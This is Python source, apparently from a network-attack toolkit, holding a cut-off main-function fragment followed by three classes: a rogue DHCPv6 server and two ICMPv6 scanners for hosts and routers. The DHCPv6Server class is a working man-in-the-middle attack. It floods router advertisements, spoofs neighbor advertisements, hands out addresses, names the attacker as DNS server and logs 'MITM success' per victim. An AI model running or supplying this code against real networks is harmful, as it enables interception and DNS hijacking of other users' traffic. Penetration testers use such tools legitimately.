# endregion # region Main function if __name__ == '__main__': # region Raw-packet modules path.append(dirname(dirname(dirname(abspath(__file__))))) from raw_packet.Utils.base import Base from raw_packet.Utils.network import RawEthernet, RawIPv6, RawICMPv6, RawUDP, RawDHCPv6 from raw_packet.Utils.tm import ThreadManager base: Base = Base() eth: RawEthernet = RawEthernet() ipv6: RawIPv6 = RawIPv6() icmpv6: RawICMPv6 = RawICMPv6() udp: RawUDP = RawUDP() dhcpv6: RawDHCPv6 = RawDHCPv6() # endregion # region Set variables raw_socket: socket = socket(AF_PACKET, SOCK_RAW) recursive_dns_address: Union[None, str] = None target: Dict[str, Union[None, str]] = { 'mac_address': None, 'ipv6_address': None } first_suffix: Union[None, str] = None last_suffix: Union[None, str] = None clients: Dict = dict() icmpv6_router_solicitation_address: str = '33:33:00:00:00:02'
class DHCPv6Server: # region Set properties _base: Base = Base() _utils: Utils = Utils() _sniff: RawSniff = RawSniff() _eth: RawEthernet = RawEthernet() _icmpv6: RawICMPv6 = RawICMPv6() _dhcpv6: RawDHCPv6 = RawDHCPv6() _thread_manager: ThreadManager = ThreadManager(10) _your: Dict[str, Union[None, str]] = { 'network-interface': None, 'mac-address': None, 'ipv6-link-address': None } _target: Dict[str, Union[None, str]] = { 'mac-address': None, 'ipv6-address': None } _clients: Dict[str, Dict[str, Union[bool, str]]] = dict() _ipv6_prefix: str = 'fde4:8dba:82e1:ffff::/64' _ipv6_prefix_address: str = 'fde4:8dba:82e1:ffff::' _first_ipv6_address_suffix: int = 2 _last_ipv6_address_suffix: int = 65534 _domain_search: str = 'domain.local' _solicit_packets_delay: float = 1 _disable_dhcpv6: bool = False _exit_on_success: bool = False _quiet: bool = True # endregion # region Init def __init__(self, network_interface: str): self._your = self._base.get_interface_settings( interface_name=network_interface, required_parameters=['mac-address', 'ipv6-link-address']) self._dns_server_ipv6_address: str = self._your['ipv6-link-address'] self._raw_send: RawSend = RawSend(network_interface=network_interface) # endregion # region Start DHCPv6 Server def start(self, target_mac_address: Union[None, str] = None, target_ipv6_address: Union[None, str] = None, first_ipv6_address_suffix: int = 2, last_ipv6_address_suffix: int = 65534, dns_server_ipv6_address: Union[None, str] = None, ipv6_prefix: str = 'fde4:8dba:82e1:ffff::/64', domain_search: str = 'domain.local', disable_dhcpv6: bool = False, exit_on_success: bool = False, quiet: bool = False) -> None: # region Set variables self._ipv6_prefix: str = ipv6_prefix self._ipv6_prefix_address: str = self._ipv6_prefix.split('/')[0] self._disable_dhcpv6 = disable_dhcpv6 self._domain_search = domain_search self._exit_on_success = exit_on_success self._quiet = quiet # endregion # region Set target MAC and IPv6 address, if target IP is not set - get first and last suffix IPv6 address # region Set target IPv6 address if target_mac_address is not None: self._target['mac-address'] = \ self._utils.check_mac_address(mac_address=target_mac_address, parameter_name='target MAC address') # endregion # region Target IPv6 is set if target_ipv6_address is not None: assert target_mac_address is not None, \ 'Please set target MAC address for target IPv6 address: ' + \ self._base.info_text(str(target_ipv6_address)) self._target['ipv6-address'] = \ self._utils.check_ipv6_address(network_interface=self._your['network-interface'], ipv6_address=target_ipv6_address, is_local_ipv6_address=False, parameter_name='target IPv6 address') self._clients[self._target['mac-address']] = { 'advertise address': self._target['ipv6-address'] } # endregion # region Target IPv6 is not set - get first and last suffix IPv6 address else: # Check first suffix IPv6 address self._first_ipv6_address_suffix = \ self._utils.check_value_in_range(value=first_ipv6_address_suffix, first_value=1, last_value=65535, parameter_name='first IPv6 address suffix') # Check last suffix IPv6 address self._last_ipv6_address_suffix = \ self._utils.check_value_in_range(value=last_ipv6_address_suffix, first_value=self._first_ipv6_address_suffix, last_value=65535, parameter_name='last IPv6 address suffix') # endregion # endregion # region Set recursive DNS server address if dns_server_ipv6_address is not None: self._dns_server_ipv6_address = \ self._utils.check_ipv6_address(network_interface=self._your['network-interface'], ipv6_address=dns_server_ipv6_address, is_local_ipv6_address=False, parameter_name='DNS server IPv6 address', check_your_ipv6_address=False) # endregion # region General output if not self._quiet: self._base.print_info('Network interface: ', self._your['network-interface']) self._base.print_info('Your MAC address: ', self._your['mac-address']) self._base.print_info('Your link local IPv6 address: ', self._your['ipv6-link-address']) if self._target['mac-address'] is not None: self._base.print_info('Target MAC address: ', self._target['mac-address']) if self._target['ipv6-address'] is not None: self._base.print_info('Target IPv6 address: ', self._target['ipv6-address']) else: self._base.print_info('First suffix offer IP: ', str(self._first_ipv6_address_suffix)) self._base.print_info('Last suffix offer IP: ', str(self._last_ipv6_address_suffix)) self._base.print_info('Prefix: ', self._ipv6_prefix) self._base.print_info('Router IPv6 address: ', self._your['ipv6-link-address']) self._base.print_info('DNS IPv6 address: ', self._dns_server_ipv6_address) self._base.print_info('Domain search: ', self._domain_search) # endregion # region Send ICMPv6 advertise packets in other thread self._thread_manager.add_task(self._send_icmpv6_advertise_packets) # endregion # region Add multicast MAC addresses on interface self._add_multicast_mac_addresses() # endregion # region Start Sniffer # region Print info message self._base.print_info('Waiting for a ICMPv6 or DHCPv6 requests ...') # endregion # region Set sniff filters sniff_filters: Dict = { 'Ethernet': { 'not-source': self._your['mac-address'] }, 'UDP': { 'destination-port': 547, 'source-port': 546 }, 'ICMPv6': { 'types': [133, 135] } } scapy_lfilter: Any = lambda eth: eth.src != self._your['mac-address'] if self._target['mac-address'] is not None: sniff_filters['Ethernet'] = {'source': self._target['mac-address']} scapy_lfilter: Any = lambda eth: eth.src == self._target[ 'mac-address'] # endregion # region Start sniffer self._sniff.start(protocols=['IPv6', 'UDP', 'ICMPv6', 'DHCPv6'], prn=self._reply, filters=sniff_filters, network_interface=self._your['network-interface'], scapy_filter='icmp6 or (udp and (port 547 or 546))', scapy_lfilter=scapy_lfilter) # endregion # endregion # endregion # region Add multicast MAC addresses on interface def _add_multicast_mac_addresses(self): self._base.add_multicast_mac_address( interface_name=self._your['network-interface'], multicast_mac_address='33:33:00:00:00:02', exit_on_failure=False, quiet=self._quiet) self._base.add_multicast_mac_address( interface_name=self._your['network-interface'], multicast_mac_address='33:33:00:01:00:02', exit_on_failure=False, quiet=self._quiet) # endregion # region Add client info in global self._clients dictionary def _add_client_info_in_dictionary( self, client_mac_address: str, client_info: Dict[str, Union[bool, str]], this_client_already_in_dictionary: bool = False): if this_client_already_in_dictionary: self._clients[client_mac_address].update(client_info) else: self._clients[client_mac_address] = client_info # endregion # region Send ICMPv6 solicit packets def _send_icmpv6_solicit_packets(self): try: while True: icmpv6_solicit_packet = \ self._icmpv6.make_router_solicit_packet(ethernet_src_mac=self._your['mac-address'], ipv6_src=self._your['ipv6-link-address'], need_source_link_layer_address=True, source_link_layer_address=self._eth.make_random_mac()) self._raw_send.send_packet(icmpv6_solicit_packet) sleep(self._solicit_packets_delay) except KeyboardInterrupt: self._base.print_info('Exit') exit(0) # endregion # region Send DHCPv6 solicit packets def _send_dhcpv6_solicit_packets(self): try: while True: request_options = [23, 24] dhcpv6_solicit_packet = \ self._dhcpv6.make_solicit_packet(ethernet_src_mac=self._your['mac-address'], ipv6_src=self._your['ipv6-link-address'], transaction_id=randint(1, 16777215), client_mac_address=self._eth.make_random_mac(), option_request_list=request_options) self._raw_send.send_packet(dhcpv6_solicit_packet) sleep(self._solicit_packets_delay) except KeyboardInterrupt: self._base.print_info('Exit ....') exit(0) # endregion # region Send ICMPv6 advertise packets def _send_icmpv6_advertise_packets(self): icmpv6_ra_packet = \ self._icmpv6.make_router_advertisement_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac='33:33:00:00:00:01', ipv6_src=self._your['ipv6-link-address'], ipv6_dst='ff02::1', dns_address=self._dns_server_ipv6_address, domain_search=self._domain_search, prefix=self._ipv6_prefix, router_lifetime=5000, advertisement_interval= int(self._solicit_packets_delay * 1000)) try: while True: self._raw_send.send_packet(icmpv6_ra_packet) sleep(self._solicit_packets_delay) except KeyboardInterrupt: self._base.print_info('Exit') exit(0) # endregion # region Reply to DHCPv6 and ICMPv6 requests def _reply(self, packet): # region Get client MAC address client_mac_address: str = packet['Ethernet']['source'] # endregion # region Check this client already in self._clients dictionary client_already_in_dictionary: bool = False if client_mac_address in self._clients.keys(): client_already_in_dictionary = True # endregion # region Check MiTM status for this client self._check_mitm_status(client_mac_address=client_mac_address) # endregion # region ICMPv6 if 'ICMPv6' in packet.keys(): # region ICMPv6 Router Solicitation if packet['ICMPv6']['type'] == 133: # Make and send ICMPv6 router advertisement packet icmpv6_ra_packet = \ self._icmpv6.make_router_advertisement_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=packet['Ethernet']['source'], ipv6_src=self._your['ipv6-link-address'], ipv6_dst=packet['IPv6']['source-ip'], dns_address=self._dns_server_ipv6_address, domain_search=self._domain_search, prefix=self._ipv6_prefix, router_lifetime=5000) self._raw_send.send_packet(icmpv6_ra_packet) # Print info messages self._base.print_info( 'ICMPv6 Router Solicitation request from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')') self._base.print_info( 'ICMPv6 Router Advertisement reply to: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')') # Delete this client from global self._clients dictionary try: del self._clients[client_mac_address] client_already_in_dictionary = False except KeyError: pass # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'router solicitation': True, 'network prefix': self._ipv6_prefix }, client_already_in_dictionary) # endregion # region ICMPv6 Neighbor Solicitation if packet['ICMPv6']['type'] == 135: # region Get ICMPv6 Neighbor Solicitation target address target_address: str = packet['ICMPv6']['target-address'] na_packet: Union[None, bytes] = None if target_address.startswith('fe80::'): if target_address == self._your['ipv6-link-address']: self._add_client_info_in_dictionary( client_mac_address, {'neighbor solicitation your address': True}, client_already_in_dictionary) else: na_packet = \ self._icmpv6.make_neighbor_advertisement_packet(ethernet_src_mac=self._your['mac-address'], ipv6_src=self._your['ipv6-link-address'], target_ipv6_address=target_address) # endregion # region Neighbor Solicitation target address is DNS server IPv6 address if self._dns_server_ipv6_address != self._your[ 'ipv6-link-address']: if self._dns_server_ipv6_address.startswith(self._ipv6_prefix_address) or \ self._dns_server_ipv6_address.startswith('fe80::'): if target_address == self._dns_server_ipv6_address: self._add_client_info_in_dictionary( client_mac_address, { 'neighbor solicitation dns server address': True }, client_already_in_dictionary) # endregion # region Neighbor Solicitation target address not in your ipv6 prefix if not target_address.startswith( self._ipv6_prefix_address) and na_packet is not None: for _ in range(10): self._raw_send.send_packet(na_packet) # endregion # region Neighbor Solicitation target address in your ipv6 prefix else: self._add_client_info_in_dictionary( client_mac_address, {'neighbor solicitation in ipv6 prefix': True}, client_already_in_dictionary) # endregion # region DHCPv6 advertise address is set # This client already in dictionary if client_already_in_dictionary: # Advertise address for this client is set if 'advertise address' in self._clients[ client_mac_address].keys(): # ICMPv6 Neighbor Solicitation target address is DHCPv6 advertise IPv6 address if target_address == self._clients[client_mac_address][ 'advertise address']: # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'neighbor solicitation advertise address': True }, client_already_in_dictionary) # ICMPv6 Neighbor Solicitation target address is not DHCPv6 advertise IPv6 address elif na_packet is not None: for _ in range(10): self._raw_send.send_packet(na_packet) # endregion # endregion # endregion # region DHCPv6 # Protocol DHCPv6 is enabled if not self._disable_dhcpv6 and 'DHCPv6' in packet.keys(): # region Get Client identifier and Identity Association for Non-temporary Address cid: Union[None, bytes] = None iaid: Union[None, int] = None for option in packet['DHCPv6']['options']: if option['type'] == 1: cid = option['value']['raw'] elif option['type'] == 3: iaid = option['value']['iaid'] if cid is None or iaid is None: self._base.print_info( 'Malformed DHCPv6 packet from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id'])) return # endregion # region DHCPv6 Solicit if packet['DHCPv6']['message-type'] == 1: # Set IPv6 address in advertise packet try: ipv6_address = self._clients[client_mac_address][ 'advertise address'] except KeyError: if self._target['ipv6-address'] is not None: ipv6_address = self._target['ipv6-address'] else: ipv6_address = self._ipv6_prefix_address + \ format(randint(self._first_ipv6_address_suffix, self._last_ipv6_address_suffix), 'x') # Make and send DHCPv6 advertise packet dhcpv6_advertise = \ self._dhcpv6.make_advertise_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=packet['Ethernet']['source'], ipv6_src=self._your['ipv6-link-address'], ipv6_dst=packet['IPv6']['source-ip'], transaction_id=packet['DHCPv6']['transaction-id'], dns_address=self._dns_server_ipv6_address, domain_search=self._domain_search, ipv6_address=ipv6_address, cid=cid, iaid=iaid, preference=255) self._raw_send.send_packet(dhcpv6_advertise) # Print info messages self._base.print_info( 'DHCPv6 Solicit from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id'])) self._base.print_info( 'DHCPv6 Advertise to: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id']), ' IAA: ', ipv6_address) # Add client info in global self._clients dictionary self._add_client_info_in_dictionary( client_mac_address, { 'dhcpv6 solicit': True, 'advertise address': ipv6_address }, client_already_in_dictionary) # endregion # region DHCPv6 Request if packet['DHCPv6']['message-type'] == 3: # Set DHCPv6 reply packet dhcpv6_reply: Union[None, bytes] = None # region Get Client DUID time, IPv6 address and Server MAC address client_ipv6_address: Union[None, str] = None server_mac_address: Union[None, str] = None for dhcpv6_option in packet['DHCPv6']['options']: if dhcpv6_option['type'] == 2: server_mac_address = dhcpv6_option['value'][ 'mac-address'] if dhcpv6_option['type'] == 3: client_ipv6_address = dhcpv6_option['value'][ 'ipv6-address'] # endregion if server_mac_address is not None and client_ipv6_address is not None: # Check Server MAC address if server_mac_address != self._your['mac-address']: self._add_client_info_in_dictionary( client_mac_address, { 'dhcpv6 mitm': 'error: server mac address is not your mac address' }, client_already_in_dictionary) else: self._add_client_info_in_dictionary( client_mac_address, {'dhcpv6 mitm': 'success'}, client_already_in_dictionary) try: if client_ipv6_address == self._clients[ client_mac_address]['advertise address']: dhcpv6_reply = \ self._dhcpv6.make_reply_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=packet['Ethernet']['source'], ipv6_src=self._your['ipv6-link-address'], ipv6_dst=packet['IPv6']['source-ip'], transaction_id=packet['DHCPv6']['transaction-id'], dns_address=self._dns_server_ipv6_address, domain_search=self._domain_search, ipv6_address=client_ipv6_address, cid=cid) self._raw_send.send_packet(dhcpv6_reply) else: self._add_client_info_in_dictionary( client_mac_address, { 'dhcpv6 mitm': 'error: client request address is not advertise address' }, client_already_in_dictionary) except KeyError: self._add_client_info_in_dictionary( client_mac_address, { 'dhcpv6 mitm': 'error: not found dhcpv6 solicit request for this client' }, client_already_in_dictionary) # Print info messages self._base.print_info( 'DHCPv6 Request from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id']), ' Server: ', server_mac_address, ' IAA: ', client_ipv6_address) if dhcpv6_reply is not None: self._base.print_info( 'DHCPv6 Reply to: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id']), ' Server: ', server_mac_address, ' IAA: ', client_ipv6_address) else: if self._clients[client_mac_address]['dhcpv6 mitm'] == \ 'error: server mac address is not your mac address': self._base.print_error( 'Server MAC address in DHCPv6 Request is not your MAC address ' + 'for this client: ', client_mac_address) if self._clients[client_mac_address]['dhcpv6 mitm'] == \ 'error: client request address is not advertise address': self._base.print_error( 'Client requested IPv6 address is not advertise IPv6 address ' + 'for this client: ', client_mac_address) if self._clients[client_mac_address]['dhcpv6 mitm'] == \ 'error: not found dhcpv6 solicit request for this client': self._base.print_error( 'Could not found DHCPv6 solicit request ' + 'for this client: ', client_mac_address) # endregion # region DHCPv6 Release if packet['DHCPv6']['message-type'] == 8: # Print info message self._base.print_info( 'DHCPv6 Release from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id'])) # Delete this client from global self._clients dictionary try: del self._clients[client_mac_address] client_already_in_dictionary = False except KeyError: pass # endregion # region DHCPv6 Confirm if packet['DHCPv6']['message-type'] == 4: # region Get Client IPv6 address client_ipv6_address: Union[None, str] = None for dhcpv6_option in packet['DHCPv6']['options']: if dhcpv6_option['type'] == 3: client_ipv6_address = dhcpv6_option['value'][ 'ipv6-address'] # endregion # region Make and send DHCPv6 Reply packet dhcpv6_reply = \ self._dhcpv6.make_reply_packet(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=packet['Ethernet']['source'], ipv6_src=self._your['ipv6-link-address'], ipv6_dst=packet['IPv6']['source-ip'], transaction_id=packet['DHCPv6']['transaction-id'], dns_address=self._dns_server_ipv6_address, domain_search=self._domain_search, ipv6_address=client_ipv6_address, cid=cid) self._raw_send.send_packet(dhcpv6_reply) # endregion # region Add Client info in global self._clients dictionary and print info message self._add_client_info_in_dictionary( client_mac_address, { 'advertise address': client_ipv6_address, 'dhcpv6 mitm': 'success' }, client_already_in_dictionary) self._base.print_info( 'DHCPv6 Confirm from: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id']), ' IAA: ', client_ipv6_address) self._base.print_info( 'DHCPv6 Reply to: ', packet['IPv6']['source-ip'] + ' (' + packet['Ethernet']['source'] + ')', ' XID: ', hex(packet['DHCPv6']['transaction-id']), ' IAA: ', client_ipv6_address) # endregion # endregion # endregion # endregion # region Check MiTM Success def _check_mitm_status(self, client_mac_address: str): try: if not self._disable_dhcpv6: assert self._clients[client_mac_address][ 'dhcpv6 mitm'] == 'success' # assert self._clients[client_mac_address]['neighbor solicitation advertise address'] else: if self._dns_server_ipv6_address != self._your[ 'ipv6-link-address']: if self._dns_server_ipv6_address.startswith(self._ipv6_prefix_address) or \ self._dns_server_ipv6_address.startswith('fe80::'): assert self._clients[client_mac_address][ 'neighbor solicitation dns server address'] assert self._clients[client_mac_address][ 'neighbor solicitation your address'] assert self._clients[client_mac_address][ 'neighbor solicitation in ipv6 prefix'] assert 'success message' not in self._clients[ client_mac_address].keys() self._base.print_success( 'MITM success: ', self._clients[client_mac_address]['advertise address'] + ' (' + client_mac_address + ')') if self._exit_on_success: sleep(3) exit(0) else: self._clients[client_mac_address].update( {'success message': True}) return True except KeyError: return False except AssertionError: return False
class ICMPv6Scan: # region Set variables base: Base = Base() eth: RawEthernet = RawEthernet() ipv6: RawIPv6 = RawIPv6() icmpv6: RawICMPv6 = RawICMPv6() raw_socket: socket = socket(AF_PACKET, SOCK_RAW, htons(0x0003)) network_interface: Union[None, str] = None your_mac_address: Union[None, str] = None your_ipv6_link_address: Union[None, str] = None target_mac_address: str = '33:33:00:00:00:01' results: List[Dict[str, str]] = list() unique_results: List[Dict[str, str]] = list() mac_addresses: List[str] = list() retry_number: int = 3 timeout: int = 3 icmpv6_identifier: int = 0 router_info: Dict[str, Union[int, str]] = dict() router_search: bool = False # endregion # region Sniffer def _sniff(self) -> None: """ Sniff ICMPv6 packets :return: None """ while True: packets = self.raw_socket.recvfrom(2048) for packet in packets: try: # Parse Ethernet header ethernet_header = packet[0:14] ethernet_header_dict = self.eth.parse_header( packet=ethernet_header) # Parse Ethernet header assert ethernet_header_dict is not None, 'Not Ethernet packet!' # Source MAC address is target mac address if not self.router_search: if self.target_mac_address != '33:33:00:00:00:01': assert ethernet_header_dict['source'] == self.target_mac_address, \ 'Bad source MAC address!' # Destination MAC address is your MAC address if not self.router_search: assert ethernet_header_dict['destination'] == self.your_mac_address, \ 'Bad destination MAC address!' # Check type of ethernet header assert ethernet_header_dict[ 'type'] == self.ipv6.header_type, 'Not IPv6 packet!' # Parse IPv6 header ipv6_header = packet[14:14 + self.ipv6.header_length] ipv6_header_dict = self.ipv6.parse_header(ipv6_header) # Check parse IPv6 header assert ipv6_header_dict is not None, 'Could not parse IPv6 packet!' # Check IPv6 next header type assert ipv6_header_dict[ 'next-header'] == self.icmpv6.packet_type, 'Not ICMPv6 packet!' # Parse ICMPv6 packet icmpv6_packet = packet[14 + self.ipv6.header_length:] icmpv6_packet_dict = self.icmpv6.parse_packet( packet=icmpv6_packet) # Check parse ICMPv6 packet assert icmpv6_packet_dict is not None, 'Could not parse ICMPv6 packet!' if self.router_search: # 134 Type of ICMPv6 Router Advertisement assert icmpv6_packet_dict[ 'type'] == 134, 'Not ICMPv6 Router Advertisement packet!' # Save router information self.router_info[ 'router_mac_address'] = ethernet_header_dict[ 'source'] self.router_info[ 'router_ipv6_address'] = ipv6_header_dict[ 'source-ip'] self.router_info['flags'] = hex( icmpv6_packet_dict['flags']) self.router_info['router-lifetime'] = int( icmpv6_packet_dict['router-lifetime']) self.router_info['reachable-time'] = int( icmpv6_packet_dict['reachable-time']) self.router_info['retrans-timer'] = int( icmpv6_packet_dict['retrans-timer']) for icmpv6_ra_option in icmpv6_packet_dict['options']: if icmpv6_ra_option['type'] == 3: self.router_info['prefix'] = str(icmpv6_ra_option['value']['prefix']) + '/' + \ str(icmpv6_ra_option['value']['prefix-length']) if icmpv6_ra_option['type'] == 5: self.router_info['mtu'] = int( icmpv6_ra_option['value'], 16) if icmpv6_ra_option['type'] == 25: self.router_info['dns-server'] = str( icmpv6_ra_option['value']['address']) # Search router vendor self.router_info['vendor'] = \ self.base.get_vendor_by_mac_address(self.router_info['router_mac_address']) else: # 129 Type of ICMPv6 Echo (ping) reply assert icmpv6_packet_dict[ 'type'] == 129, 'Not ICMPv6 Echo (ping) reply packet!' # Check ICMPv6 Echo (ping) reply identifier if icmpv6_packet_dict[ 'identifier'] == self.icmpv6_identifier: self.results.append({ 'mac-address': ethernet_header_dict['source'], 'ip-address': ipv6_header_dict['source-ip'] }) except AssertionError: pass # endregion # region Sender def _send(self) -> None: """ Send ICMPv6 packets :return: None """ self.your_mac_address: str = self.base.get_interface_mac_address( self.network_interface) self.your_ipv6_link_address: str = self.base.get_interface_ipv6_link_address( self.network_interface) send_socket: socket = socket(AF_PACKET, SOCK_RAW) send_socket.bind((self.network_interface, 0)) if self.router_search: request: bytes = self.icmpv6.make_router_solicit_packet( ethernet_src_mac=self.your_mac_address, ipv6_src=self.your_ipv6_link_address) else: request: bytes = self.icmpv6.make_echo_request_packet( ethernet_src_mac=self.your_mac_address, ethernet_dst_mac=self.target_mac_address, ipv6_src=self.your_ipv6_link_address, ipv6_dst='ff02::1', id=self.icmpv6_identifier) for _ in range(self.retry_number): send_socket.send(request) sleep(0.1) send_socket.close() # endregion # region Scanner def scan(self, network_interface: str = 'eth0', timeout: int = 3, retry: int = 3, target_mac_address: Union[None, str] = None, check_vendor: bool = True, exit_on_failure: bool = True) -> List[Dict[str, str]]: """ Find alive IPv6 hosts in local network with echo (ping) request packets :param network_interface: Network interface name (example: 'eth0') :param timeout: Timeout in seconds (default: 3) :param retry: Retry number (default: 3) :param target_mac_address: Target MAC address (example: 192.168.0.1) :param check_vendor: Check vendor of hosts (default: True) :param exit_on_failure: Exit if alive IPv6 hosts in network not found (default: True) :return: List of alive hosts in network (example: [{'mac-address': '01:23:45:67:89:0a', 'ip-address': 'fe80::1234:5678:90ab:cdef', 'vendor': 'Apple, Inc.'}]) """ # region Clear lists with scan results self.results.clear() self.unique_results.clear() self.mac_addresses.clear() # endregion # region Set variables if target_mac_address is not None: self.base.mac_address_validation(mac_address=target_mac_address, exit_on_failure=True) self.target_mac_address = target_mac_address self.network_interface = network_interface self.timeout = int(timeout) self.retry_number = int(retry) self.icmpv6_identifier = randint(1, 65535) # endregion # region Run _sniffer tm = ThreadManager(2) tm.add_task(self._sniff) # endregion # region Run _sender self._send() # endregion # region Wait sleep(self.timeout) # endregion # region Unique results for index in range(len(self.results)): if self.results[index]['mac-address'] not in self.mac_addresses: self.unique_results.append(self.results[index]) self.mac_addresses.append(self.results[index]['mac-address']) # endregion # region Get vendors if check_vendor: for result_index in range(len(self.unique_results)): self.unique_results[result_index]['vendor'] = \ self.base.get_vendor_by_mac_address(self.unique_results[result_index]['mac-address']) # endregion # region Return results if len(self.unique_results) == 0: if exit_on_failure: self.base.error_text( 'Could not found alive IPv6 hosts on interface: ' + self.network_interface) exit(1) return self.unique_results # endregion # endregion # region Search IPv6 router def search_router( self, network_interface: str = 'eth0', timeout: int = 3, retry: int = 3, exit_on_failure: bool = True) -> Dict[str, Union[int, str]]: """ Search IPv6 router in network :param network_interface: Network interface name (example: 'eth0') :param timeout: Timeout in seconds (default: 3) :param retry: Retry number (default: 3) :param exit_on_failure: Exit if IPv6 router in network not found (default: True) :return: IPv6 router information dictionary (example: {'router_mac_address': '01:23:45:67:89:0a', 'router_ipv6_address': 'fe80::1234:5678:90ab:cdef', 'flags': '0x0', 'router-lifetime': 0, 'reachable-time': 0, 'retrans-timer': 0, 'prefix': 'fd00::/64', 'vendor': 'D-Link International'}) """ # region Clear lists with scan results self.results.clear() self.unique_results.clear() self.mac_addresses.clear() # endregion # region Set variables self.router_search = True self.network_interface = network_interface self.timeout = int(timeout) self.retry_number = int(retry) # endregion # region Run _sniffer tm = ThreadManager(2) tm.add_task(self._sniff) # endregion # region Run _sender self._send() # endregion # region Wait sleep(self.timeout) # endregion # region Return IPv6 router information if len(self.router_info.keys()) == 0: if exit_on_failure: self.base.error_text( 'Could not found IPv6 Router on interface: ' + self.network_interface) exit(1) return self.router_info
class ICMPv6RouterSearch: # region Set variables _base: Base = Base() _icmpv6: RawICMPv6 = RawICMPv6() _raw_sniff: RawSniff = RawSniff() _thread_manager: ThreadManager = ThreadManager(2) _your: Dict[str, Union[None, str]] = {'network-interface': None, 'mac-address': None, 'ipv6-link-address': None} _retry_number: int = 3 _timeout: int = 3 _router_info: Union[None, Dict[str, Union[int, str]]] = None # endregion # region Init def __init__(self, network_interface: str) -> None: """ Init :param network_interface: Network interface name (example: 'eth0') """ self._your = self._base.get_interface_settings(interface_name=network_interface, required_parameters=['mac-address', 'ipv6-link-address']) self._raw_send: RawSend = RawSend(network_interface=network_interface) # endregion # region Analyze packet def _analyze_packet(self, packet: Dict) -> None: try: assert 'Ethernet' in packet.keys() assert 'IPv6' in packet.keys() assert 'ICMPv6' in packet.keys() assert 'type' in packet['ICMPv6'].keys() # 134 Type of ICMPv6 Router Advertisement assert packet['ICMPv6']['type'] == 134, 'Not ICMPv6 Router Advertisement packet!' # Save router information self._router_info = dict() self._router_info['router_mac_address'] = packet['Ethernet']['source'] self._router_info['router_ipv6_address'] = packet['IPv6']['source-ip'] self._router_info['flags'] = hex(packet['ICMPv6']['flags']) self._router_info['router-lifetime'] = int(packet['ICMPv6']['router-lifetime']) self._router_info['reachable-time'] = int(packet['ICMPv6']['reachable-time']) self._router_info['retrans-timer'] = int(packet['ICMPv6']['retrans-timer']) for icmpv6_ra_option in packet['ICMPv6']['options']: if icmpv6_ra_option['type'] == 3: self._router_info['prefix'] = str(icmpv6_ra_option['value']['prefix']) + '/' + \ str(icmpv6_ra_option['value']['prefix-length']) if icmpv6_ra_option['type'] == 5: self._router_info['mtu'] = int(icmpv6_ra_option['value'], 16) if icmpv6_ra_option['type'] == 25: self._router_info['dns-server'] = str(icmpv6_ra_option['value']['address']) # Search router vendor self._router_info['vendor'] = \ self._base.get_vendor_by_mac_address(self._router_info['router_mac_address']) except AssertionError: pass # endregion # region Sniffer def _sniff(self) -> None: """ Sniff ICMPv6 packets :return: None """ # region ICMPv6 multicast ping scan self._raw_sniff.start(protocols=['Ethernet', 'IPv6', 'ICMPv6'], prn=self._analyze_packet, filters={'ICMPv6': {'type': 134}}, network_interface=self._your['network-interface'], scapy_filter='icmp6') # endregion # region Sender def _send(self) -> None: """ Send ICMPv6 packets :return: None """ request: bytes = self._icmpv6.make_router_solicit_packet(ethernet_src_mac=self._your['mac-address'], ipv6_src=self._your['ipv6-link-address']) self._raw_send.send_packet(packet=request, count=self._retry_number, delay=0.1) # endregion # region Search IPv6 router def search(self, timeout: int = 3, retry: int = 3, exit_on_failure: bool = True) -> Dict[str, Union[int, str]]: """ Search IPv6 router in network :param timeout: Timeout in seconds (default: 3) :param retry: Retry number (default: 3) :param exit_on_failure: Exit if IPv6 router in network not found (default: True) :return: IPv6 router information dictionary (example: {'router_mac_address': '01:23:45:67:89:0a', 'router_ipv6_address': 'fe80::1234:5678:90ab:cdef', 'flags': '0x0', 'router-lifetime': 0, 'reachable-time': 0, 'retrans-timer': 0, 'prefix': 'fd00::/64', 'vendor': 'D-Link International'}) """ # region Set variables self._timeout = int(timeout) self._retry_number = int(retry) # endregion # region Run _sniffer self._thread_manager.add_task(self._sniff) # endregion # region Run _sender self._send() # endregion # region Wait sleep(self._timeout) # endregion # region Return IPv6 router information if self._router_info is None: if exit_on_failure: self._base.error_text('Could not found IPv6 Router on interface: ' + self._your['network-interface']) exit(1) return self._router_info
